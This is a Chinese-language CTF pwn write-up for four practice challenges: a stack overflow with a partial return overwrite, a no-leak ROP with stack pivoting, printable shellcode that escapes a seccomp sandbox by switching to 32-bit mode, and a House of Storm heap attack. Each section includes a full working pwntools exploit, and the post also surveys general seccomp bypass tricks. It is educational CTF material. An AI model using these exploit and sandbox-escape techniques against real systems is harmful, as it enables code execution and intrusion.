练题笔记 已经学了一段时间内核了,感觉自己在基础知识方面比较欠缺,所以打算回过头去看一下相关书籍深入学习一下基础知识,在学习途中保持pwn题训练。
easy stack 题目分析 题目逻辑很简单
1 2 3 4 5 6 7 8 9 10 11 12 int __cdecl main (int argc, const char **argv, const char **envp) { char s[128 ]; alarm(0x3C u); setvbuf(stdin , 0LL , 2 , 0LL ); setvbuf(stdout , 0LL , 2 , 0LL ); setvbuf(stderr , 0LL , 2 , 0LL ); read_n(s, 0x100 LL); puts (s); return 0 ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 void *__fastcall read_n (void *a1, unsigned __int64 a2) { int v2; char s[520 ]; int v5; int v6; v6 = 0 ; if ( a2 > 0x200 ) { puts ("too long!" ); exit (-1 ); } do { read(0 , &s[v6], 1uLL ); if ( s[v6] == 10 ) break ; if ( !s[v6] ) break ; v2 = v6++; } while ( a2 > v2 ); if ( s[v6] == 10 && a2 > v6 ) s[v6] = 0 ; v5 = strlen (s); return memcpy (a1, s, v5); }
可以看到存在明显的栈溢出漏洞。不过比较棘手的是程序开启了PIE导致我们无法多次利用此漏洞,所以我们目前来看迫切需要的就是重复多次扩大漏洞。
在栈方面比较熟知扩大漏洞的方法是fini_array
劫持,不过这里不存在任意写所以无法实现。
漏洞分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 .text:00000000000007C0 public _start .text:00000000000007C0 _start proc near ; DATA XREF: LOAD:0000000000000018↑o .text:00000000000007C0 ; __unwind { .text:00000000000007C0 31 ED xor ebp, ebp .text:00000000000007C2 49 89 D1 mov r9, rdx ; rtld_fini .text:00000000000007C5 5E pop rsi ; argc .text:00000000000007C6 48 89 E2 mov rdx, rsp ; ubp_av .text:00000000000007C9 48 83 E4 F0 and rsp, 0FFFFFFFFFFFFFFF0h .text:00000000000007CD 50 push rax .text:00000000000007CE 54 push rsp ; stack_end .text:00000000000007CF 4C 8D 05 FA 02 00 00 lea r8, __libc_csu_fini ; fini .text:00000000000007D6 48 8D 0D 83 02 00 00 lea rcx, __libc_csu_init ; init .text:00000000000007DD 48 8D 3D E0 01 00 00 lea rdi, main ; main .text:00000000000007E4 FF 15 F6 07 20 00 call cs:__libc_start_main_ptr .text:00000000000007E4 .text:00000000000007EA F4 hlt .text:00000000000007EA ; } // starts at 7C0 .text:00000000000007EA .text:00000000000007EA _start endp
总所周知,程序的入口是_start
函数,并且我们知道这里的执行顺序是__libc_csu_init
=>main
=>__libc_csu_fini
可以看到在进入函数不过多久就开始调用了_libc_csu_init
,并且把main地址放在了rsp+0x18
位置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 .text:0000000000021A35 lea rdi, [rsp+0B8h+var_98] ; env .text:0000000000021A3A call _setjmp .text:0000000000021A3F test eax, eax .text:0000000000021A41 jnz short loc_21A8E .text:0000000000021A43 mov rax, fs:300h .text:0000000000021A4C mov [rsp+0B8h+var_50], rax .text:0000000000021A51 mov rax, fs:2F8h .text:0000000000021A5A mov [rsp+0B8h+var_48], rax .text:0000000000021A5F lea rax, [rsp+0B8h+var_98] .text:0000000000021A64 mov fs:300h, rax .text:0000000000021A6D mov rax, cs:environ_ptr .text:0000000000021A74 mov rsi, [rsp+8] .text:0000000000021A79 mov edi, [rsp+14h] .text:0000000000021A7D mov rdx, [rax] .text:0000000000021A80 mov rax, [rsp+18h] .text:0000000000021A85 call rax
随后调用main函数,然后从main函数返回时的ret地址自然而然成了call的下一行。所以如果我们可以覆盖末尾字节为0x80
即可重新进入main函数达到扩大漏洞的效果。
综上,exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *elf = ELF('./easy_stack' ) r = remote('nc.eonew.cn' , 10004 ) libc = ELF('./libc-2.27.so' ) context.arch = 'amd64' context.log_level = 'debug' payload = b'a' *0x88 +p16(0x80 ) r.send(payload) r.recvuntil(b'a' *0x88 ) libc_base = u64(r.recv(6 ).ljust(8 , b'\x00' )) - 0x21A80 print (hex (libc_base))payload = b'a' *0x88 + flat(libc_base+0x415a6 ) r.sendline(payload) r.interactive()
no leak 题目分析 这里吐槽一下这个平台,给的libc不是常见libc,并且也不给ld文件,上面一道可以泄漏还好这个无法泄漏只能爆破偏移,太浪费时间了,基本就是盲调。
1 2 3 4 5 6 7 8 int __cdecl main (int argc, const char **argv, const char **envp) { char buf[128 ]; alarm(0x3C u); read(0 , buf, 0x100 uLL); return 0 ; }
题目很简单,就只有简单的栈溢出,并且不存在任何的输出函数。
这里还有一个吐槽点,因为程序保护是Full RELRO
所以走ret2resolve是行不通的,所以下意识就是去找gadget。这里的吐槽点就是在ida和ROPgadget里面都找到有用的gadget是在ropper导出的内容才找到:
1 0000000000400518: add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
这里依旧需要熟知程序的运行机制,在上面一道题中我们提到了,程序开始时_start
=>__libc_start_main
=>main
,在最后这里进入main时是用call进入的,所以会在栈上残留下__libc_start_main+231
的地址,不过这里因为我们要持续劫持执行流所以我们不能利用这里,不过这里依旧存在很多可以用的,这里就不再赘述,可以自己看一下__libc_start_main
的函数代码。
利用分析 看得出来上面的gadget是可以修改任意地址上内容的值,所以如果我们在已知地址上放上libc地址即可根据偏移得到system的地址,最后通过csu来call已知位置即可。
最后得出的思路就是:
栈迁移到bss段
=>在bss布置rop进行csu调用__libc_start_main
=>在__libc_start_main中调用read覆盖栈
=>使用gadget修改残留位置指向system并用csu调用
综上,exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from pwn import *elf = ELF('./no_leak' ) r = remote('nc.eonew.cn' , 10002 ) libc = ELF('./libc-2.27.so' ) context.arch = 'amd64' context.log_level = 'debug' context.terminal = ['tmux' , 'splitw' , '-h' ] bss = elf.bss()+0x500 main = elf.sym['main' ] _start = 0x400474 pop_rdi = 0x00000000004005d3 pop_rsi_r15 = 0x00000000004005d1 gadget = 0x0000000000400518 pop_rbp = 0x00000000004004b8 pop_rbx_rbp_r12_r13_r14_r15 = 0x4005CA one_gadget = 0x41720 payload = b'a' *0x80 +flat(bss, pop_rdi, 0 , pop_rsi_r15, bss, 0 , elf.plt['read' ], 0x400564 ) r.sendline(payload) payload = flat(0x196082 , 0x4005CA , (one_gadget-0x21a87 )-1 , (one_gadget-0x21a87 ), (0x601558 - (((one_gadget-0x21a87 )-1 )*8 )), elf.symbols['read' ], 0 , 0x601488 , 0x4005B0 , _start) sleep(1 ) r.sendline(payload) sleep(1 ) bin_sh_addr = 0x601488 +0x90 +8 payload = flat(pop_rbx_rbp_r12_r13_r14_r15, -0x371f08 , [0 ]*5 , pop_rbp, 0x601448 +0x3d , gadget, 0x4005CA , 0 , 1 , 0x601448 , bin_sh_addr, 0 , 0 , 0x0000000000400416 , 0x4005B0 ) payload += b'/bin/sh\x00' r.sendline(payload) r.interactive()
shellcode 在以往遇到沙箱的问题都是使用ORW,并且只是常规的进行调用,并没有更加深层次的讨论。这里就借此题目更加深入讨论一下在CTF中常见的沙箱保护以及绕过方式。
题目分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 void __noreturn start () { signed __int64 v0; signed __int64 v1; signed __int64 v2; unsigned __int64 v3; signed __int64 v4; char *v5; signed __int64 v6; signed __int64 v7; int v8; int i; signed __int64 v10; signed __int64 v11; unsigned __int64 arg3[2 ]; __int16 v13; char v14; char v15; int v16; __int16 v17; char v18; char v19; int v20; __int16 v21; char v22; char v23; int v24; __int16 v25; char v26; char v27; int v28; __int16 v29; char v30; char v31; int v32; __int16 v33; char v34; char v35; int v36; __int16 v37; char v38; char v39; int v40; __int16 v41; char v42; char v43; int v44; __int16 v45; char v46; char v47; int v48; v13 = 32 ; v14 = 0 ; v15 = 0 ; v16 = 0 ; v17 = 21 ; v18 = 6 ; v19 = 0 ; v20 = 5 ; v21 = 21 ; v22 = 5 ; v23 = 0 ; v24 = 37 ; v25 = 21 ; v26 = 4 ; v27 = 0 ; v28 = 1 ; v29 = 21 ; v30 = 3 ; v31 = 0 ; v32 = 0 ; v33 = 21 ; v34 = 2 ; v35 = 0 ; v36 = 9 ; v37 = 21 ; v38 = 1 ; v39 = 0 ; v40 = 231 ; v41 = 6 ; v42 = 0 ; v43 = 0 ; v44 = 0 ; v45 = 6 ; v46 = 0 ; v47 = 0 ; v48 = 2147418112 ; LOWORD(arg3[0 ]) = 9 ; arg3[1 ] = (unsigned __int64)&v13; v0 = sys_alarm(0x3C u); v1 = sys_write(1u , "---------- Shellcode ----------\n" , 0x20 uLL); v2 = sys_prctl(38 , 1uLL , 0LL , 0LL ); v4 = sys_prctl(22 , 2uLL , (unsigned __int64)arg3, v3); v5 = (char *)sys_mmap(0LL , 0x1000 uLL, 7uLL , 0x22 uLL, 0xFFFFFFFF uLL, 0LL ); v6 = sys_write(1u , "Input your shellcode: " , 0x16 uLL); v7 = sys_read(0 , v5, 0x1000 uLL); v8 = v7; if ( v5[(int )v7 - 1 ] == 10 ) { v5[(int )v7 - 1 ] = 0 ; v8 = v7 - 1 ; } for ( i = 0 ; i < v8; ++i ) { if ( v5[i] <= 0x1F || v5[i] == 0x7F ) { v10 = sys_write(1u , "Check!\n" , 7uLL ); goto LABEL_10; } } ((void (*)(void ))v5)(); LABEL_10: v11 = sys_exit_group(0 ); }
题目很简单,限制了输入的shellcode为可见字符,这里虽然ida翻译为了if ( v5[i] <= 0x1F || v5[i] == 0x7F )
不过在实际调试过程中发现就是不允许大于0x7f
,上面开启了sandbox。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 root@0df3326fd7c0:/ctf/work/download ---------- Shellcode ---------- line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000000 A = sys_number 0001: 0x15 0x06 0x00 0x00000005 if (A == fstat) goto 0008 0002: 0x15 0x05 0x00 0x00000025 if (A == alarm) goto 0008 0003: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0008 0004: 0x15 0x03 0x00 0x00000000 if (A == read ) goto 0008 0005: 0x15 0x02 0x00 0x00000009 if (A == mmap) goto 0008 0006: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0008 0007: 0x06 0x00 0x00 0x00000000 return KILL 0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW root@0df3326fd7c0:/ctf/work/download
如果按照我以往的思维方式会认为这道题目是没法完成的,应为没有open调用。所以下面就讲解一下sandbox的一些利用技巧。
sandbox绕过 这里拿一个平时十分常见的沙箱规则做讲解:
1 2 3 4 5 6 7 8 9 0000 : 0x20 0x00 0x00 0x00000004 A = arch0001 : 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0008 0002 : 0x20 0x00 0x00 0x00000000 A = sys_number0003 : 0x35 0x00 0x01 0x40000000 if (A < 0x40000000 ) goto 0005 0004 : 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff ) goto 0008 0005 : 0x15 0x02 0x00 0x00000003 if (A == close) goto 0008 0006 : 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0008 0007 : 0x06 0x00 0x00 0x7fff0000 return ALLOW0008 : 0x06 0x00 0x00 0x00000000 return KILL
这个沙箱规则是非常简单的,可以看到可以直接进行ORW获得flag。
可以看到这里前面两行做了一个判断,这个判断的效果就是判断当前的架构是否为amd64
,如果不是可以看到直接会被kill掉。接着下面两行是验证sys_number
的需要小于0x40000000
。
下面主要讲解如果不存上述两条判断的情况,以及一种额外的绕过方式。
1 2 3 4 5 6 7 8 9 0000 : 0x20 0x00 0x00 0x00000000 A = sys_number0001 : 0x15 0x06 0x00 0x00000005 if (A == fstat) goto 0008 0002 : 0x15 0x05 0x00 0x00000025 if (A == alarm) goto 0008 0003 : 0x15 0x04 0x00 0x00000001 if (A == write) goto 0008 0004 : 0x15 0x03 0x00 0x00000000 if (A == read) goto 0008 0005 : 0x15 0x02 0x00 0x00000009 if (A == mmap) goto 0008 0006 : 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0008 0007 : 0x06 0x00 0x00 0x00000000 return KILL0008 : 0x06 0x00 0x00 0x7fff0000 return ALLOW
这里用题目的沙箱规则做讲解。可以看到这里不存在架构的判断,并且也不存在sys_number
大小的判断。不过可以看出来这里不能使用sysnumber+0x40000000
的方式来绕过,因为这里判断调用号都不满足时就会直接KILL掉。不过这里可以使用进入x86架构来绕过。
首先要知道,程序是怎么知道要以64位模式运行还是以32位模式运行的;寄存器中有一个cs寄存器,cs = 0x23代表32位模式,cs = 0x33代表64位模式,而cs寄存器就是通过上面提到的retfq
汇编指令来修改。
然后再深扒一下retfq
指令,这一指令其实存在的是两步,分别是:ret; mov cs, [rsp + 8]
所以如果我们事先控制了栈上的内容即可实现切换架构。
再看一下没有sys_number
检验的沙箱规则
1 2 3 4 5 6 7 8 9 10 0000 : 0x20 0x00 0x00 0x00000004 A = arch0001 : 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009 0002 : 0x20 0x00 0x00 0x00000000 A = sys_number0003 : 0x15 0x05 0x00 0x00000002 if (A == open) goto 0009 0004 : 0x15 0x04 0x00 0x00000009 if (A == mmap) goto 0009 0005 : 0x15 0x03 0x00 0x00000065 if (A == ptrace) goto 0009 0006 : 0x15 0x02 0x00 0x00000101 if (A == openat) goto 0009 0007 : 0x15 0x01 0x00 0x00000130 if (A == open_by_handle_at) goto 0009 0008 : 0x06 0x00 0x00 0x7fff0000 return ALLOW0009 : 0x06 0x00 0x00 0x00000000 return KILL
这里是随便找的一个例子,可能不是很严谨。可以看到这里验证了架构,但是没有验证sys_number
所以使用sys_number|0x40000000
在下面的判断中不会被KILL掉,并且在后续执行过程中只会使用只会调用sys_number
下面讲解一下如果上述两条都存在时我们需要调用ORW应该如何处理
1 2 3 4 5 6 7 8 9 10 11 12 0000 : 0x20 0x00 0x00 0x00000004 A = arch0001 : 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011 0002 : 0x20 0x00 0x00 0x00000000 A = sys_number0003 : 0x35 0x00 0x01 0x40000000 if (A < 0x40000000 ) goto 0005 0004 : 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff ) goto 0011 0005 : 0x15 0x05 0x00 0x00000000 if (A == read) goto 0011 0006 : 0x15 0x04 0x00 0x00000001 if (A == write) goto 0011 0007 : 0x15 0x03 0x00 0x00000002 if (A == open) goto 0011 0008 : 0x15 0x02 0x00 0x00000003 if (A == close) goto 0011 0009 : 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0011 0010 : 0x06 0x00 0x00 0x7fff0000 return ALLOW0011 : 0x06 0x00 0x00 0x00000000 return KILL
open系统调用实际上是调用了openat
,所以直接 调用openat
,然后除了 read,write,其实还有两个readv
,和writev
,这些就能绕过限制读取flag
解题思路 有了上述的基础就好做了,首先我们的思路就是想办法转到32位结构执行open,因为在32位的系统调用中open是5所以可以通过过滤。
不过这里我们需要知道的是在64位架构下的栈地址,在32位架构下是无法解析的,所以我还需要利用mmap生成一个可以放进esp中的地址当作栈。
其实有了上面的基础就很简单了,就不再赘述了直接给exp了。
综上,exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 from pwn import *elf = ELF('./shellcode' ) r = remote('nc.eonew.cn' , 10011 ) context.log_level = 'debug' context.terminal = ['tmux' , 'splitw' , '-h' ] shellcode = ''' /*mmap(0x40404040,0x7e,7,34,0,0)*/ push 0x40404040 pop rdi push 0x7e pop rsi push 0x40 pop rax xor al,0x47 push rax pop rdx push 0x40 pop rax xor al,0x40 push rax pop r8 push rax pop r9 push rbx pop rax push 0x5d pop rcx xor byte ptr[rax+0x2e],cl push 0x5f pop rcx xor byte ptr[rax+0x2f],cl push 0x40 pop rax xor al,0x49 push rdx pop rdx /*read(0,0x40404040,0x70)*/ push 0x40404040 pop rsi push 0x40 pop rax xor al,0x40 push rax pop rdi xor al,0x40 push 0x70 pop rdx push rbx pop rax push 0x5d pop rcx xor byte ptr[rax+0x54],cl push 0x5f pop rcx xor byte ptr[rax+0x55],cl push rdx pop rax xor al,0x70 push rdx pop rdx /*change to x86*/ push rbx pop rax xor al,0x40 push 0x72 pop rcx xor byte ptr[rax+0x3d],cl push 0x68 pop rcx xor byte ptr[rax+0x3d],cl push 0x47 pop rcx sub byte ptr[rax+0x3e],cl push 0x48 pop rcx sub byte ptr[rax+0x3e],cl push rdi push rdi push 0x23 push 0x40404040 pop rax push rax push rdx pop rdx ''' payload = asm(shellcode, arch='amd64' , os='linux' ) r.sendline(payload) shellcode = ''' /*open("flag")*/ mov esp,0x40404140 push 0x67616c66 push esp pop ebx xor ecx,ecx mov eax,5 int 0x80 mov ecx,eax ''' payload = asm(shellcode) payload += b'\x90' *0x29 payload += asm(''' /*change to x64*/ push 0x33 push 0x40404089 retfq /*read(fp,buf,0x70)*/ mov rdi,rcx mov rsi,rsp mov rdx,0x70 xor rax,rax syscall /*write(1,buf,0x70)*/ mov rdi,1 mov rax,1 syscall ''' , arch='amd64' )r.sendline(payload) r.interactive()
House of Storm 题目分析 这道题目是十分常规的菜单类堆题,不过这里在main中做了一定处理。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 unsigned __int64 __fastcall new_environment (int a1) { int v1; int v2; int v3; int v4; unsigned __int64 buf; unsigned __int64 v7; v7 = __readfsqword(0x28 u); old_addr = &dword_0; read(a1, &buf, 8uLL ); buf = buf >> 32 << 12 ; mallopt(1 , 0 ); change_addr(buf, 0 , v1, v2, v3, v4); munmap(old_addr, 0x2000 uLL); munmap((char *)old_addr + 2101248 , 0x2000 uLL); old_addr = 0LL ; return __readfsqword(0x28 u) ^ v7; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 unsigned __int64 __fastcall change_addr (__int64 a1) { unsigned __int64 v1; __int64 v2; char *retaddr; v1 = __readfsqword(0x28 u); v2 = a1 - (_QWORD)old_addr; mmap((void *)a1, 0x2000 uLL, 2 , 34 , -1 , 0LL ); memcpy ((void *)a1, old_addr, 0x2000 uLL); mprotect((void *)a1, 0x2000 uLL, 5 ); mmap((void *)(a1 + 2101248 ), 0x1000 uLL, 2 , 34 , -1 , 0LL ); memcpy ((void *)(a1 + 2101248 ), (char *)old_addr + 2101248 , 0x1000 uLL); mprotect((void *)(a1 + 2101248 ), 0x1000 uLL, 1 ); mmap((void *)(a1 + 2105344 ), 0x1000 uLL, 2 , 34 , -1 , 0LL ); memcpy ((void *)(a1 + 2105344 ), (char *)&_data_start + (_QWORD)old_addr, 0x1000 uLL); mprotect((void *)(a1 + 2105344 ), 0x1000 uLL, 3 ); retaddr += v2; return __readfsqword(0x28 u) ^ v1; }
具体调试后得知这里会将process原本的基地址的内容转移到新的mmap出来的地址上去。不知道为什么如果这样干了gdb就会出现报错无法调试。不过这里只是修改process地址对我们利用没什么影响所以本地调试时可以直接patch掉。
1 2 3 4 5 6 7 8 9 10 11 int delete () { signed int v1; puts ("Which one do you want to delete?" ); v1 = get_int("Which one do you want to delete?" ); if ( v1 < 0 || (unsigned int )v1 > 0xF || !ptr[v1] ) return puts ("Error: Invalid index!\n" ); free (ptr[v1]); return puts ("Success!\n" ); }
这里就是这道题目的漏洞点,很明显的UAF。忘了提一下,这里因为mallopt的缘故无法利用fastbin,虽然我们patch掉,但是如果用fastbin远程就打不通了。
漏洞利用 题目给的glibc版本时2.23所以我的第一反应就是通过large bin attack劫持IO_FILE的vtable然后直接执行one_gadget。
不过实际操作会发现所有的one_gadget都不符合条件,所以我们只能另辟蹊径。
这里我想到的是通过setcontext进行栈迁移,最后rop拿到shell。不过在puts中调用vtable时使用的寄存器为rax,这里需要有堆地址的寄存器位rdi,所以找到了一个magic gadget:
1 0000000000065bca: mov rdi, rax; call qword ptr [rax + 0x20];
综上,exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 from pwn import *elf = ELF('./house_of_storm' ) r = remote('nc.eonew.cn' , 10001 ) libc = ELF('./libc-2.23.so' ) context.log_level = 'debug' context.arch = 'amd64' context.terminal = ['tmux' , 'splitw' , '-h' ] context.os = 'linux' def create (size ): r.recvuntil(b'Your choice?' ) r.sendline(b'1' ) r.recvuntil(b'What size do you want?' ) r.sendline(bytes (str (size), encoding='utf8' )) def delete (idx ): r.recvuntil(b'Your choice?' ) r.sendline(b'2' ) r.recvuntil(b'Which one do you want to delete?' ) r.sendline(bytes (str (idx), encoding='utf8' )) def edit (idx, data ): r.recvuntil(b'Your choice?' ) r.sendline(b'3' ) r.recvuntil(b'Which one do you want to modify?' ) r.sendline(bytes (str (idx), encoding='utf8' )) r.recvuntil(b'What do you want to input?' ) r.send(data) def show (idx ): r.recvuntil(b'Your choice?' ) r.sendline(b'4' ) r.recvuntil(b'Which one do you want to see?' ) r.sendline(bytes (str (idx), encoding='utf8' )) create(0x510 ) create(0x100 ) create(0x500 ) create(0x100 ) create(0x200 ) create(0x100 ) create(0x200 ) create(0x100 ) delete(4 ) delete(6 ) show(6 ) r.recvline() heap_base = u64(r.recv(6 ).ljust(8 , b'\x00' ))-0xc50 print (hex (heap_base))delete(7 ) delete(5 ) delete(0 ) show(0 ) r.recvline() libc_base = u64(r.recv(6 ).ljust(8 , b'\x00' ))-0x39bb78 print (hex (libc_base))pop_rdi = libc_base + next (libc.search(asm('pop rdi\nret' ))) system = libc_base+libc.sym['system' ] bin_sh = libc_base+next (libc.search(b'/bin/sh' )) edit(1 , flat(pop_rdi, bin_sh, system)) create(0x600 ) edit(0 , flat([libc_base+0x39bfa8 ]*2 , 0 , libc_base + 0x39c6f8 -0x20 , 0 , libc_base+0x734f0 )+b'\n' ) delete(2 ) edit(2 , flat([libc_base+0x39bb78 ]*2 , [libc_base + 0x45226 ]*3 , libc_base+0x734f0 )+b'\n' ) create(0x600 ) sleep(1 ) r.sendline(b'3' ) sleep(1 ) r.sendline(bytes (str (0 ), encoding='utf8' )) sleep(1 ) payload = flat([libc_base + libc.symbols['setcontext' ]+53 ] * 5 , libc_base+0x65bca ) payload = payload.ljust(0xa0 -0x10 , b'a' ) + \ flat(heap_base+0x520 , libc_base+0x205c2 ) r.send(payload) r.interactive()
小结 这么多天做星盟的题会发现题目质量非常之高,需要对程序的运行,sandbox绕过机制,shellcode的熟练编写以及在堆题中找适合的gadget,有深刻的理解才可以完成解题。